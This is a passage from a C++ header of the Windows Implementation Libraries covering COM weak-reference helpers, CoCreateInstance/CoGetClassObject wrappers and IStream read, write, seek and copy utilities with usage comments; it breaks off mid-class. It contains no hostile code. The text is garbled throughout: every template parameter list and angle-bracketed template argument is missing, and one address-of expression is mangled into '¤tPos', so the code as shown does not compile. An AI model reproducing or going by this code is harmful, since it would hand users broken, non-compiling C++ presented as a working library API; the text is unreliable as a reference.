//! See @ref page_query for more information on resolving a weak ref\n //! @{\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n //! return a com_weak_ref representing the given source pointer (throws an exception on failure)\n template \n com_weak_ref com_weak_query(T&& ptrSource)\n {\n auto raw = com_raw_ptr(wistd::forward(ptrSource));\n com_weak_ref weakRef;\n THROW_IF_FAILED(details::GetWeakReference(raw, &weakRef));\n return weakRef;\n }\n#endif\n\n //! return a com_weak_ref_failfast representing the given source pointer (fail-fast on failure)\n template \n com_weak_ref_failfast com_weak_query_failfast(T&& ptrSource)\n {\n auto raw = com_raw_ptr(wistd::forward(ptrSource));\n com_weak_ref_failfast weakRef;\n FAIL_FAST_IF_FAILED(details::GetWeakReference(raw, &weakRef));\n return weakRef;\n }\n\n //! return a com_weak_ref_nothrow representing the given source pointer (returns an HRESULT on failure)\n template \n HRESULT com_weak_query_nothrow(T&& ptrSource, _COM_Outptr_ IWeakReference** ptrResult)\n {\n auto raw = com_raw_ptr(wistd::forward(ptrSource));\n auto hr = details::GetWeakReference(raw, ptrResult);\n __analysis_assume(SUCCEEDED(hr) || (*ptrResult == nullptr));\n RETURN_HR(hr);\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n //! return a com_weak_ref representing the given source pointer (throws an exception on failure, source maybe null)\n template \n com_weak_ref com_weak_copy(T&& ptrSource)\n {\n auto raw = com_raw_ptr(wistd::forward(ptrSource));\n com_weak_ref weakRef;\n if (raw)\n {\n THROW_IF_FAILED(details::GetWeakReference(raw, &weakRef));\n }\n return weakRef;\n }\n#endif\n\n //! return a com_weak_ref_failfast representing the given source pointer (fail-fast on failure, source maybe null)\n template \n com_weak_ref_failfast com_weak_copy_failfast(T&& ptrSource)\n {\n auto raw = com_raw_ptr(wistd::forward(ptrSource));\n com_weak_ref_failfast weakRef;\n if (raw)\n {\n FAIL_FAST_IF_FAILED(details::GetWeakReference(raw, &weakRef));\n }\n return weakRef;\n }\n\n //! return a com_weak_ref_failfast representing the given source pointer (fail-fast on failure, source maybe null)\n template \n HRESULT com_weak_copy_nothrow(T&& ptrSource, _COM_Outptr_result_maybenull_ IWeakReference** ptrResult)\n {\n auto raw = com_raw_ptr(wistd::forward(ptrSource));\n if (raw)\n {\n RETURN_HR(details::GetWeakReference(raw, ptrResult));\n }\n *ptrResult = nullptr;\n return S_OK;\n }\n\n#pragma region COM Object Helpers\n\n template \n inline bool is_agile(T&& ptrSource)\n {\n wil::com_ptr_nothrow agileObject;\n return SUCCEEDED(com_raw_ptr(wistd::forward(ptrSource))->QueryInterface(IID_PPV_ARGS(&agileObject)));\n }\n\n /** constructs a COM object using an CLSID on a specific interface or IUnknown.*/\n template\n wil::com_ptr_t CoCreateInstance(REFCLSID rclsid, DWORD dwClsContext = CLSCTX_INPROC_SERVER)\n {\n wil::com_ptr_t result;\n error_policy::HResult(::CoCreateInstance(rclsid, nullptr, dwClsContext, IID_PPV_ARGS(&result)));\n return result;\n }\n\n /** constructs a COM object using the class as the identifier (that has an associated CLSID) on a specific interface or IUnknown. */\n template\n wil::com_ptr_t CoCreateInstance(DWORD dwClsContext = CLSCTX_INPROC_SERVER)\n {\n return CoCreateInstance(__uuidof(Class), dwClsContext);\n }\n\n /** constructs a COM object using an CLSID on a specific interface or IUnknown. */\n template\n wil::com_ptr_failfast CoCreateInstanceFailFast(REFCLSID rclsid, DWORD dwClsContext = CLSCTX_INPROC_SERVER)\n {\n return CoCreateInstance(rclsid, dwClsContext);\n }\n\n /** constructs a COM object using the class as the identifier (that has an associated CLSID) on a specific interface or IUnknown. */\n template\n wil::com_ptr_failfast CoCreateInstanceFailFast(DWORD dwClsContext = CLSCTX_INPROC_SERVER)\n {\n return CoCreateInstanceFailFast(__uuidof(Class), dwClsContext);\n }\n\n /** constructs a COM object using an CLSID on a specific interface or IUnknown.\n Note, failures are reported as a null result, the HRESULT is lost. */\n template\n wil::com_ptr_nothrow CoCreateInstanceNoThrow(REFCLSID rclsid, DWORD dwClsContext = CLSCTX_INPROC_SERVER)\n {\n return CoCreateInstance(rclsid, dwClsContext);\n }\n\n /** constructs a COM object using the class as the identifier (that has an associated CLSID) on a specific interface or IUnknown.\n Note, failures are reported as a null result, the HRESULT is lost. */\n template\n wil::com_ptr_nothrow CoCreateInstanceNoThrow(DWORD dwClsContext = CLSCTX_INPROC_SERVER)\n {\n return CoCreateInstanceNoThrow(__uuidof(Class), dwClsContext);\n }\n\n /** constructs a COM object class factory using an CLSID on IClassFactory or a specific interface. */\n template\n wil::com_ptr_t CoGetClassObject(REFCLSID rclsid, DWORD dwClsContext = CLSCTX_INPROC_SERVER)\n {\n wil::com_ptr_t result;\n error_policy::HResult(CoGetClassObject(rclsid, dwClsContext, nullptr, IID_PPV_ARGS(&result)));\n return result;\n }\n\n /** constructs a COM object class factory using the class as the identifier (that has an associated CLSID)\n on IClassFactory or a specific interface. */\n template\n wil::com_ptr_t CoGetClassObject(DWORD dwClsContext = CLSCTX_INPROC_SERVER)\n {\n return CoGetClassObject(__uuidof(Class), dwClsContext);\n }\n\n /** constructs a COM object class factory using an CLSID on IClassFactory or a specific interface. */\n template\n wil::com_ptr_failfast CoGetClassObjectFailFast(REFCLSID rclsid, DWORD dwClsContext = CLSCTX_INPROC_SERVER)\n {\n return CoGetClassObject(rclsid, dwClsContext);\n }\n\n /** constructs a COM object class factory using the class as the identifier (that has an associated CLSID)\n on IClassFactory or a specific interface. */\n template\n wil::com_ptr_failfast CoGetClassObjectFailFast(DWORD dwClsContext = CLSCTX_INPROC_SERVER)\n {\n return CoGetClassObjectFailFast(__uuidof(Class), dwClsContext);\n }\n\n /** constructs a COM object class factory using an CLSID on IClassFactory or a specific interface.\n Note, failures are reported as a null result, the HRESULT is lost. */\n template\n wil::com_ptr_nothrow CoGetClassObjectNoThrow(REFCLSID rclsid, DWORD dwClsContext = CLSCTX_INPROC_SERVER)\n {\n return CoGetClassObject(rclsid, dwClsContext);\n }\n\n /** constructs a COM object class factory using the class as the identifier (that has an associated CLSID)\n on IClassFactory or a specific interface.\n Note, failures are reported as a null result, the HRESULT is lost. */\n template\n wil::com_ptr_nothrow CoGetClassObjectNoThrow(DWORD dwClsContext = CLSCTX_INPROC_SERVER)\n {\n return CoGetClassObjectNoThrow(__uuidof(Class), dwClsContext);\n }\n#pragma endregion\n\n#pragma region Stream helpers\n\n /** Read data from a stream into a buffer.\n Reads up to a certain number of bytes into a buffer. Returns the amount of data written, which\n may be less than the amount requested if the stream ran out.\n ~~~~\n IStream* source = // ...\n ULONG dataBlob = 0;\n size_t read = 0;\n RETURN_IF_FAILED(wil::stream_read_partial_nothrow(source, &dataBlob, sizeof(dataBlob), &read));\n if (read != sizeof(dataBlob))\n {\n // end of stream, probably\n }\n else if (dataBlob == 0x8675309)\n {\n DoThing(dataBlob);\n }\n ~~~~\n @param stream The stream from which to read at most `size` bytes.\n @param data A buffer into which up to `size` bytes will be read\n @param size The size, in bytes, of the buffer pointed to by `data`\n @param wrote The amount, in bytes, of data read from `stream` into `data`\n */\n inline HRESULT stream_read_partial_nothrow(_In_ ISequentialStream* stream, _Out_writes_bytes_to_(size, *wrote) void* data, unsigned long size, unsigned long *wrote)\n {\n RETURN_HR(stream->Read(data, size, wrote));\n }\n\n /** Read an exact number of bytes from a stream into a buffer.\n Fails if the stream didn't read all the bytes requested.\n ~~~~\n IStream* source = // ...\n ULONG dataBlob = 0;\n RETURN_IF_FAILED(wil::stream_read_nothrow(source, &dataBlob, sizeof(dataBlob)));\n if (dataBlob == 0x8675309)\n {\n DoThing(dataBlob);\n }\n ~~~~\n @param stream The stream from which to read at most `size` bytes.\n @param data A buffer into which up to `size` bytes will be read\n @param size The size, in bytes, of the buffer pointed to by `data`\n @return The underlying stream read result, or HRESULT_FROM_WIN32(ERROR_INVALID_DATA) if the stream\n did not read the complete buffer.\n */\n inline HRESULT stream_read_nothrow(_In_ ISequentialStream* stream, _Out_writes_bytes_all_(size) void* data, unsigned long size)\n {\n unsigned long didRead;\n RETURN_IF_FAILED(stream_read_partial_nothrow(stream, data, size, &didRead));\n RETURN_HR_IF(HRESULT_FROM_WIN32(ERROR_INVALID_DATA), didRead != size);\n\n return S_OK;\n }\n\n /** Read from a stream into a POD type.\n Fails if the stream didn't have enough bytes.\n ~~~~\n IStream* source = // ...\n MY_HEADER header{};\n RETURN_IF_FAILED(wil::stream_read_nothrow(source, &header));\n if (header.Version == 0x8675309)\n {\n ConsumeOldHeader(stream, header);\n }\n ~~~~\n @param stream The stream from which to read at most `size` bytes.\n @param pThing The POD data type to read from the stream.\n @return The underlying stream read result, or HRESULT_FROM_WIN32(ERROR_INVALID_DATA) if the stream\n did not read the complete buffer.\n */\n template HRESULT stream_read_nothrow(_In_ ISequentialStream* stream, _Out_ T* pThing)\n {\n static_assert(__is_pod(T), \"Type must be POD.\");\n return stream_read_nothrow(stream, pThing, sizeof(T));\n }\n\n /** Write an exact number of bytes to a stream from a buffer.\n Fails if the stream didn't read write the bytes requested.\n ~~~~\n IStream* source = // ...\n ULONG dataBlob = 0x8675309;\n RETURN_IF_FAILED(wil::stream_write_nothrow(source, &dataBlob, sizeof(dataBlob)));\n ~~~~\n @param stream The stream to which to write at most `size` bytes.\n @param data A buffer from which up to `size` bytes will be read\n @param size The size, in bytes, of the buffer pointed to by `data`\n */\n inline HRESULT stream_write_nothrow(_In_ ISequentialStream* stream, _In_reads_bytes_(size) const void* data, unsigned long size)\n {\n unsigned long wrote;\n RETURN_IF_FAILED(stream->Write(data, size, &wrote));\n RETURN_HR_IF(HRESULT_FROM_WIN32(ERROR_INVALID_DATA), wrote != size);\n\n return S_OK;\n }\n\n /** Write a POD type to a stream.\n Fails if not all the bytes were written.\n ~~~~\n IStream* source = // ...\n MY_HEADER header { 0x8675309, HEADER_FLAG_1 | HEADER_FLAG_2 };\n RETURN_IF_FAILED(wil::stream_write_nothrow(source, header));\n\n ULONGLONG value = 16;\n RETURN_IF_FAILED(wil::stream_write_nothrow(source, value));\n ~~~~\n @param stream The stream to which to write `thing`\n @param thing The POD data type to write to the stream.\n */\n template inline HRESULT stream_write_nothrow(_In_ ISequentialStream* stream, const T& thing)\n {\n return stream_write_nothrow(stream, wistd::addressof(thing), sizeof(thing));\n }\n\n /** Retrieve the size of this stream, in bytes\n ~~~~\n IStream* source = // ...\n ULONGLONG size;\n RETURN_IF_FAILED(wil::stream_size_nothrow(source, &size));\n RETURN_HR_IF(E_INVALIDARG, size > ULONG_MAX);\n ~~~~\n @param stream The stream whose size is to be returned in `value`\n @param value The size, in bytes, reported by `stream`\n */\n inline HRESULT stream_size_nothrow(_In_ IStream* stream, _Out_ unsigned long long* value)\n {\n STATSTG st{};\n RETURN_IF_FAILED(stream->Stat(&st, STATFLAG_NONAME));\n *value = st.cbSize.QuadPart;\n\n return S_OK;\n }\n\n /** Seek a stream to a relative offset or absolute position\n ~~~~\n IStream* source = // ...\n unsigned long long landed;\n RETURN_IF_FAILED(wil::stream_seek_nothrow(source, 16, STREAM_SEEK_CUR, &landed));\n RETURN_IF_FAILED(wil::stream_seek_nothrow(source, -5, STREAM_SEEK_END));\n RETURN_IF_FAILED(wil::stream_seek_nothrow(source, LLONG_MAX, STREAM_SEEK_CUR));\n ~~~~\n @param stream The stream to seek\n @param offset The position, in bytes from the current position, to seek\n @param from The starting point from which to seek, from the STREAM_SEEK_* set of values\n @param value Optionally recieves the new absolute position from the stream\n */\n inline HRESULT stream_seek_nothrow(_In_ IStream* stream, long long offset, unsigned long from, _Out_opt_ unsigned long long* value = nullptr)\n {\n LARGE_INTEGER amount;\n ULARGE_INTEGER landed{};\n amount.QuadPart = offset;\n RETURN_IF_FAILED(stream->Seek(amount, from, value ? &landed : nullptr));\n assign_to_opt_param(value, landed.QuadPart);\n\n return S_OK;\n }\n\n /** Seek a stream to an absolute offset\n ~~~~\n IStream* source = // ...\n RETURN_HR(wil::stream_set_position_nothrow(source, 16));\n ~~~~\n @param stream The stream whose size is to be returned in `value`\n @param offset The position, in bytes from the start of the stream, to seek to\n @param value Optionally recieves the new absolute position from the stream\n */\n inline HRESULT stream_set_position_nothrow(_In_ IStream* stream, unsigned long long offset, _Out_opt_ unsigned long long* value = nullptr)\n {\n // IStream::Seek(..., _SET) interprets the first parameter as an unsigned value.\n return stream_seek_nothrow(stream, static_cast(offset), STREAM_SEEK_SET, value);\n }\n\n /** Seek a relative amount in a stream\n ~~~~\n IStream* source = // ...\n RETURN_IF_FAILED(wil::stream_seek_from_current_position_nothrow(source, -16));\n\n ULONGLONG newPosition;\n RETURN_IF_FAILED(wil::stream_seek_from_current_position_nothrow(source, 16, &newPosition));\n ~~~~\n @param stream The stream whose location is to be moved\n @param amount The offset, in bytes, to seek the stream.\n @param value Set to the new absolute steam position, in bytes\n */\n inline HRESULT stream_seek_from_current_position_nothrow(_In_ IStream* stream, long long amount, _Out_opt_ unsigned long long* value = nullptr)\n {\n return stream_seek_nothrow(stream, amount, STREAM_SEEK_CUR, value);\n }\n\n /** Determine the current byte position in the stream\n ~~~~\n IStream* source = // ...\n ULONGLONG currentPos;\n RETURN_IF_FAILED(wil::stream_get_position_nothrow(source, ¤tPos));\n ~~~~\n @param stream The stream whose location is to be moved\n @param position Set to the current absolute steam position, in bytes\n */\n inline HRESULT stream_get_position_nothrow(_In_ IStream* stream, _Out_ unsigned long long* position)\n {\n return stream_seek_from_current_position_nothrow(stream, 0, position);\n }\n\n /** Moves the stream to absolute position 0\n ~~~~\n IStream* source = // ...\n RETURN_IF_FAILED(wil::stream_reset_nothrow(source));\n ~~~~\n @param stream The stream whose location is to be moved\n */\n inline HRESULT stream_reset_nothrow(_In_ IStream* stream)\n {\n return stream_set_position_nothrow(stream, 0);\n }\n\n /** Copy data from one stream to another, returning the final amount copied.\n ~~~~\n IStream* source = // ...\n IStream* target = // ...\n ULONGLONG copied;\n RETURN_IF_FAILED(wil::stream_copy_bytes_nothrow(source, target, sizeof(MyType), &copied));\n if (copied < sizeof(MyType))\n {\n DoSomethingAboutPartialCopy();\n }\n ~~~~\n @param source The stream from which to copy at most `amount` bytes\n @param target The steam to which to copy at most `amount` bytes\n @param amount The maximum number of bytes to copy from `source` to `target`\n @param pCopied If non-null, set to the number of bytes copied between the two.\n */\n inline HRESULT stream_copy_bytes_nothrow(_In_ IStream* source, _In_ IStream* target, unsigned long long amount, _Out_opt_ unsigned long long* pCopied = nullptr)\n {\n ULARGE_INTEGER toCopy;\n ULARGE_INTEGER copied;\n toCopy.QuadPart = amount;\n RETURN_IF_FAILED(source->CopyTo(target, toCopy, nullptr, &copied));\n assign_to_opt_param(pCopied, copied.QuadPart);\n\n return S_OK;\n }\n\n /** Copy all data from one stream to another, returning the final amount copied.\n ~~~~\n IStream* source = // ...\n IStream* target = // ...\n ULONGLONG copied;\n RETURN_IF_FAILED(wil::stream_copy_all_nothrow(source, target, &copied));\n if (copied < 8)\n {\n DoSomethingAboutPartialCopy();\n }\n ~~~~\n @param source The stream from which to copy all content\n @param target The steam to which to copy all content\n @param pCopied If non-null, set to the number of bytes copied between the two.\n */\n inline HRESULT stream_copy_all_nothrow(_In_ IStream* source, _In_ IStream* target, _Out_opt_ unsigned long long* pCopied = nullptr)\n {\n return stream_copy_bytes_nothrow(source, target, ULLONG_MAX, pCopied);\n }\n\n /** Copies an exact amount of data from one stream to another, failing otherwise\n ~~~~\n IStream* source = // ...\n IStream* target = // ...\n RETURN_IF_FAILED(wil::stream_copy_all_nothrow(source, target, 16));\n ~~~~\n @param source The stream from which to copy at most `amount` bytes\n @param target The steam to which to copy at most `amount` bytes\n @param amount The number of bytes to copy from `source` to `target`\n */\n inline HRESULT stream_copy_exact_nothrow(_In_ IStream* source, _In_ IStream* target, unsigned long long amount)\n {\n unsigned long long copied;\n RETURN_IF_FAILED(stream_copy_bytes_nothrow(source, target, ULLONG_MAX, &copied));\n RETURN_HR_IF(HRESULT_FROM_WIN32(ERROR_INVALID_DATA), copied != amount);\n\n return S_OK;\n }\n\n //! Controls behavior when reading a zero-length string from a stream\n enum class empty_string_options\n {\n //! Zero-length strings are returned as nullptr\n returns_null,\n\n //! Zero-length strings are allocated and returned with zero characters\n returns_empty,\n };\n\n#ifdef __WIL_OBJBASE_H_\n\n /** Read a string from a stream and returns an allocated copy\n Deserializes strings in streams written by both IStream_WriteStr and wil::stream_write_string[_nothrow]. The format\n is a single 16-bit quantity, followed by that many wchar_ts. The returned string is allocated with CoTaskMemAlloc.\n Returns a zero-length (but non-null) string if the stream contained a zero-length string.\n ~~~~\n IStream* source = // ...\n wil::unique_cotaskmem_string content;\n RETURN_IF_FAILED(wil::stream_read_string_nothrow(source, &content));\n if (wcscmp(content.get(), L\"waffles\") == 0)\n {\n // Waffles!\n }\n ~~~~\n @param source The stream from which to read a string\n @param value Set to point to the allocated result of reading a string from `source`\n */\n inline HRESULT stream_read_string_nothrow(\n _In_ ISequentialStream* source,\n _When_(options == empty_string_options::returns_empty, _Outptr_result_z_) _When_(options == empty_string_options::returns_null, _Outptr_result_maybenull_z_) wchar_t** value,\n empty_string_options options = empty_string_options::returns_empty)\n {\n unsigned short cch;\n RETURN_IF_FAILED(stream_read_nothrow(source, &cch));\n\n if ((cch == 0) && (options == empty_string_options::returns_null))\n {\n *value = nullptr;\n }\n else\n {\n auto allocated = make_unique_cotaskmem_nothrow(static_cast(cch) + 1);\n RETURN_IF_NULL_ALLOC(allocated);\n RETURN_IF_FAILED(stream_read_nothrow(source, allocated.get(), static_cast(cch) * sizeof(wchar_t)));\n allocated[cch] = 0;\n\n *value = allocated.release();\n }\n\n return S_OK;\n }\n\n#endif // __WIL_OBJBASE_H\n\n /** Write a string to a stream\n Serializes a string into a stream by putting its length and then the wchar_ts in the string\n into the stream. Zero-length strings have their length but no data written. This is the\n form expected by IStream_ReadStr and wil::string_read_stream.\n ~~~~\n IStream* target = // ...\n RETURN_IF_FAILED(wil::stream_write_string_nothrow(target, L\"Waffles\", 3));\n // Produces wchar_t[] { 0x3, L'W', L'a', L'f' };\n ~~~~\n @param target The stream to which to write a string\n @param source The string to write. Can be null if `writeLength` is zero\n @param writeLength The number of characters to write from source into `target`\n */\n inline HRESULT stream_write_string_nothrow(_In_ ISequentialStream* target, _In_reads_opt_(writeLength) const wchar_t* source, _In_ size_t writeLength)\n {\n FAIL_FAST_IF(writeLength > USHRT_MAX);\n\n RETURN_IF_FAILED(stream_write_nothrow(target, static_cast(writeLength)));\n\n if (writeLength > 0)\n {\n RETURN_IF_FAILED(stream_write_nothrow(target, source, static_cast(writeLength) * sizeof(wchar_t)));\n }\n\n return S_OK;\n }\n\n /** Write a string to a stream\n Serializes a string into a stream by putting its length and then the wchar_ts in the string\n into the stream. Zero-length strings have their length but no data written. This is the\n form expected by IStream_ReadStr and wil::string_read_stream.\n ~~~~\n IStream* target = // ...\n RETURN_IF_FAILED(wil::stream_write_string_nothrow(target, L\"Waffles\"));\n // Produces wchar_t[] { 0x3, L'W', L'a', L'f', L'f', L'l', L'e', L's' };\n ~~~~\n @param target The stream to which to write a string\n @param source The string to write. When nullptr, a zero-length string is written.\n */\n inline HRESULT stream_write_string_nothrow(_In_ ISequentialStream* target, _In_opt_z_ const wchar_t* source)\n {\n return stream_write_string_nothrow(target, source, source ? wcslen(source) : 0);\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n\n /** Read data from a stream into a buffer.\n ~~~~\n IStream* source = // ...\n ULONG dataBlob = 0;\n auto read = wil::stream_read_partial(source, &dataBlob, sizeof(dataBlob));\n if (read != sizeof(dataBlob))\n {\n // end of stream, probably\n }\n else if (dataBlob == 0x8675309)\n {\n DoThing(dataBlob);\n }\n ~~~~\n @param stream The stream from which to read at most `size` bytes.\n @param data A buffer into which up to `size` bytes will be read\n @param size The size, in bytes, of the buffer pointed to by `data`\n @return The amount, in bytes, of data read from `stream` into `data`\n */\n inline unsigned long stream_read_partial(_In_ ISequentialStream* stream, _Out_writes_bytes_to_(size, return) void* data, unsigned long size)\n {\n unsigned long didRead;\n THROW_IF_FAILED(stream_read_partial_nothrow(stream, data, size, &didRead));\n\n return didRead;\n }\n\n /** Read an exact number of bytes from a stream into a buffer.\n Fails if the stream didn't read all the bytes requested by throwing HRESULT_FROM_WIN32(ERROR_INVALID_DATA).\n ~~~~\n IStream* source = // ...\n ULONG dataBlob = 0;\n wil::stream_read(source, &dataBlob, sizeof(dataBlob));\n if (dataBlob == 0x8675309)\n {\n DoThing(dataBlob);\n }\n ~~~~\n @param stream The stream from which to read at most `size` bytes.\n @param data A buffer into which up to `size` bytes will be read\n @param size The size, in bytes, of the buffer pointed to by `data`\n */\n inline void stream_read(_In_ ISequentialStream* stream, _Out_writes_bytes_all_(size) void* data, unsigned long size)\n {\n THROW_HR_IF(HRESULT_FROM_WIN32(ERROR_INVALID_DATA), stream_read_partial(stream, data, size) != size);\n }\n\n /** Read from a stream into a POD type.\n Fails if the stream didn't have enough bytes by throwing HRESULT_FROM_WIN32(ERROR_INVALID_DATA).\n ~~~~\n IStream* source = // ...\n MY_HEADER header = wil::stream_read(source);\n if (header.Version == 0x8675309)\n {\n ConsumeOldHeader(stream, header);\n }\n ~~~~\n @param stream The stream from which to read at most `sizeof(T)` bytes.\n @return An instance of `T` read from the stream\n */\n template T stream_read(_In_ ISequentialStream* stream)\n {\n static_assert(__is_pod(T), \"Read type must be POD\");\n T temp{};\n stream_read(stream, &temp, sizeof(temp));\n\n return temp;\n }\n\n /** Write an exact number of bytes to a stream from a buffer.\n Fails if the stream didn't read write the bytes requested.\n ~~~~\n IStream* source = // ...\n ULONG dataBlob = 0;\n wil::stream_write(source, dataBlob, sizeof(dataBlob));\n ~~~~\n @param stream The stream to which to write at most `size` bytes.\n @param data A buffer from which up to `size` bytes will be read\n @param size The size, in bytes, of the buffer pointed to by `data`\n */\n inline void stream_write(_In_ ISequentialStream* stream, _In_reads_bytes_(size) const void* data, unsigned long size)\n {\n THROW_IF_FAILED(stream_write_nothrow(stream, data, size));\n }\n\n /** Write a POD type to a stream.\n Fails if the stream didn't accept the entire size.\n ~~~~\n IStream* target = // ...\n\n MY_HEADER header { 0x8675309, HEADER_FLAG_1 | HEADER_FLAG_2 };\n wil::stream_write(target, header)\n\n wil::stream_write(target, 16);\n ~~~~\n @param stream The stream to which to write `thing`\n @param thing The POD data type to write to the stream.\n */\n template inline void stream_write(_In_ ISequentialStream* stream, const T& thing)\n {\n stream_write(stream, wistd::addressof(thing), sizeof(thing));\n }\n\n /** Retrieve the size of this stream, in bytes\n ~~~~\n IStream* source = // ...\n ULONGLONG size = wil::stream_size(source);\n ~~~~\n @param stream The stream whose size is to be returned in `value`\n @return The size, in bytes, reported by `stream`\n */\n inline unsigned long long stream_size(_In_ IStream* stream)\n {\n unsigned long long size;\n THROW_IF_FAILED(stream_size_nothrow(stream, &size));\n\n return size;\n }\n\n /** Seek a stream to an absolute offset\n ~~~~\n IStream* source = // ...\n wil::stream_set_position(source, sizeof(HEADER));\n ~~~~\n @param stream The stream whose size is to be returned in `value`\n @param offset The offset, in bytes, to seek the stream.\n @return The new absolute stream position, in bytes\n */\n inline unsigned long long stream_set_position(_In_ IStream* stream, unsigned long long offset)\n {\n unsigned long long landed;\n THROW_IF_FAILED(stream_set_position_nothrow(stream, offset, &landed));\n return landed;\n }\n\n /** Seek a relative amount in a stream\n ~~~~\n IStream* source = // ...\n ULONGLONG newPosition = wil::stream_seek_from_current_position(source, 16);\n ~~~~\n @param stream The stream whose location is to be moved\n @param amount The offset, in bytes, to seek the stream.\n @return The new absolute stream position, in bytes\n */\n inline unsigned long long stream_seek_from_current_position(_In_ IStream* stream, long long amount)\n {\n unsigned long long landed;\n THROW_IF_FAILED(stream_seek_from_current_position_nothrow(stream, amount, &landed));\n\n return landed;\n }\n\n /** Determine the current byte position in the stream\n ~~~~\n IStream* source = // ...\n ULONGLONG currentPos = wil::stream_get_position(source);\n ~~~~\n @param stream The stream whose location is to be moved\n @return The current position reported by `stream`\n */\n inline unsigned long long stream_get_position(_In_ IStream* stream)\n {\n return stream_seek_from_current_position(stream, 0);\n }\n\n /** Moves the stream to absolute position 0\n ~~~~\n IStream* source = // ...\n wil::stream_reset(source);\n ASSERT(wil::stream_get_position(source) == 0);\n ~~~~\n @param stream The stream whose location is to be moved\n */\n inline void stream_reset(_In_ IStream* stream)\n {\n stream_set_position(stream, 0);\n }\n\n /** Copy data from one stream to another\n ~~~~\n IStream* source = // ...\n IStream* target = // ...\n ULONGLONG copied = ;\n if (wil::stream_copy_bytes(source, target, sizeof(Header)) < sizeof(Header))\n {\n DoSomethingAboutPartialCopy();\n }\n ~~~~\n @param source The stream from which to copy at most `amount` bytes\n @param target The steam to which to copy at most `amount` bytes\n @param amount The maximum number of bytes to copy from `source` to `target`\n @return The number of bytes copied between the two streams\n */\n inline unsigned long long stream_copy_bytes(_In_ IStream* source, _In_ IStream* target, unsigned long long amount)\n {\n unsigned long long copied;\n THROW_IF_FAILED(stream_copy_bytes_nothrow(source, target, amount, &copied));\n\n return copied;\n }\n\n /** Copy all data from one stream to another\n ~~~~\n IStream* source = // ...\n IStream* target = // ...\n ULONGLONG copied = wil::stream_copy_all(source, target);\n ~~~~\n @param source The stream from which to copy all content\n @param target The steam to which to copy all content\n @return The number of bytes copied between the two.\n */\n inline unsigned long long stream_copy_all(_In_ IStream* source, _In_ IStream* target)\n {\n return stream_copy_bytes(source, target, ULLONG_MAX);\n }\n\n /** Copies an exact amount of data from one stream to another, failing otherwise\n ~~~~\n IStream* source = // ...\n IStream* target = // ...\n wil::stream_copy_all_nothrow(source, target, sizeof(SOMETHING));\n ~~~~\n @param source The stream from which to copy at most `amount` bytes\n @param target The steam to which to copy at most `amount` bytes\n @param amount The number of bytes to copy from `source` to `target`\n */\n inline void stream_copy_exact(_In_ IStream* source, _In_ IStream* target, unsigned long long amount)\n {\n THROW_HR_IF(HRESULT_FROM_WIN32(ERROR_INVALID_DATA), stream_copy_bytes(source, target, amount) != amount);\n }\n\n#ifdef __WIL_OBJBASE_H_\n\n /** Read a string from a stream and returns an allocated copy\n Deserializes strings in streams written by both IStream_WriteStr and wil::stream_write_string[_nothrow]. The format\n is a single 16-bit quantity, followed by that many wchar_ts. The returned string is allocated with CoTaskMemAlloc.\n Returns a zero-length (but non-null) string if the stream contained a zero-length string.\n ~~~~\n IStream* source = // ...\n wil::unique_cotaskmem_string content = wil::stream_read_string(source);\n if (wcscmp(content.get(), L\"waffles\") == 0)\n {\n // Waffles!\n }\n ~~~~\n @param source The stream from which to read a string\n @return An non-null string (but possibly zero lengh) string read from `source`\n */\n inline wil::unique_cotaskmem_string stream_read_string(_In_ ISequentialStream* source, empty_string_options options = empty_string_options::returns_empty)\n {\n wil::unique_cotaskmem_string result;\n THROW_IF_FAILED(stream_read_string_nothrow(source, &result, options));\n\n return result;\n }\n\n#endif // __WIL_OBJBASE_H\n\n /** Write a string to a stream\n Serializes a string into a stream by putting its length and then the wchar_ts in the string\n into the stream. Zero-length strings have their length but no data written. This is the\n form expected by IStream_ReadStr and wil::string_read_stream.\n ~~~~\n IStream* target = // ...\n wil::stream_write_string(target, L\"Waffles\", 3);\n ~~~~\n @param target The stream to which to write a string\n @param source The string to write. Can be null if `writeLength` is zero\n @param writeLength The number of characters to write from source into `target`\n */\n inline void stream_write_string(_In_ ISequentialStream* target, _In_reads_opt_(toWriteCch) const wchar_t* source, _In_ size_t toWriteCch)\n {\n THROW_IF_FAILED(stream_write_string_nothrow(target, source, toWriteCch));\n }\n\n /** Write a string to a stream\n Serializes a string into a stream by putting its length and then the wchar_ts in the string\n into the stream. Zero-length strings have their length but no data written.This is the\n form expected by IStream_ReadStr and wil::string_read_stream.\n ~~~~\n IStream* target = // ...\n wil::stream_write_string(target, L\"Waffles\");\n ~~~~\n @param target The stream to which to write a string\n @param source The string to write. When nullptr, a zero-length string is written.\n */\n inline void stream_write_string(_In_ ISequentialStream* target, _In_opt_z_ const wchar_t* source)\n {\n THROW_IF_FAILED(stream_write_string_nothrow(target, source, source ? wcslen(source) : 0));\n }\n\n /** Saves and restores the position of a stream\n Useful for potentially reading data from a stream, or being able to read ahead, then reset\n back to where one left off, such as conditionally reading content from a stream.\n ~~~~\n void MaybeConsumeStream(IStream* stream)\n {\n // On error, reset the read position in the stream to where we left off\n auto saver = wil::stream_position_saver(stream);\n auto header = wil::stream_read(stream);\n for (ULONG i = 0; i < header.Count; ++i)\n {\n ProcessElement(wil::stream_read(stream));\n }\n }\n ~~~~\n */\n class stream_position_saver\n {\n public:\n //! Constructs a saver from the current position of this stream\n //! @param stream The stream instance whose position is to be saved.\n explicit stream_position_saver(_In_opt_ IStream* stream) :\n m_stream(stream),\n m_position(stream ? stream_get_position(stream) : 0)\n {\n }\n\n ~stream_position_saver()\n {\n if (m_stream)\n {\n LOG_IF_FAILED(stream_set_position_nothrow(m_stream.get(), m_position));\n }\n }\n\n /** Updates the current position in the stream\n ~~~~\n // Read a size marker from the stream, then advance that much.\n IStream* stream1 = // ...\n auto saver = wil::stream_position_saver(stream1);\n auto size = wil::stream_read(stream1);\n wil::stream_seek_from_current_position(stream, size);\n saver.update();\n ~~~~\n */\n void update()\n {\n m_position = stream_get_position(m_stream.get());\n }\n\n //! Returns the current position being saved for the stream\n //! @returns The position, in bytes, being saved for the stream\n unsigned long long position() const\n {\n return m_position;\n }\n\n /** Resets the position saver to manage a new stream\n Reverts the position of any stream this saver is currently holding a place for.\n ~~~~\n IStream* stream1 = // ...\n IStream* stream2 = // ...\n auto saver = wil::stream_position_saver(stream1);\n if (wil::stream_read(stream1).Flags != 0)\n {\n saver.reset(stream2); // position in stream1 is reverted, now holding stream2\n }\n ~~~~\n @param stream The stream whose position is to be saved\n */\n void reset(_In_ IStream* 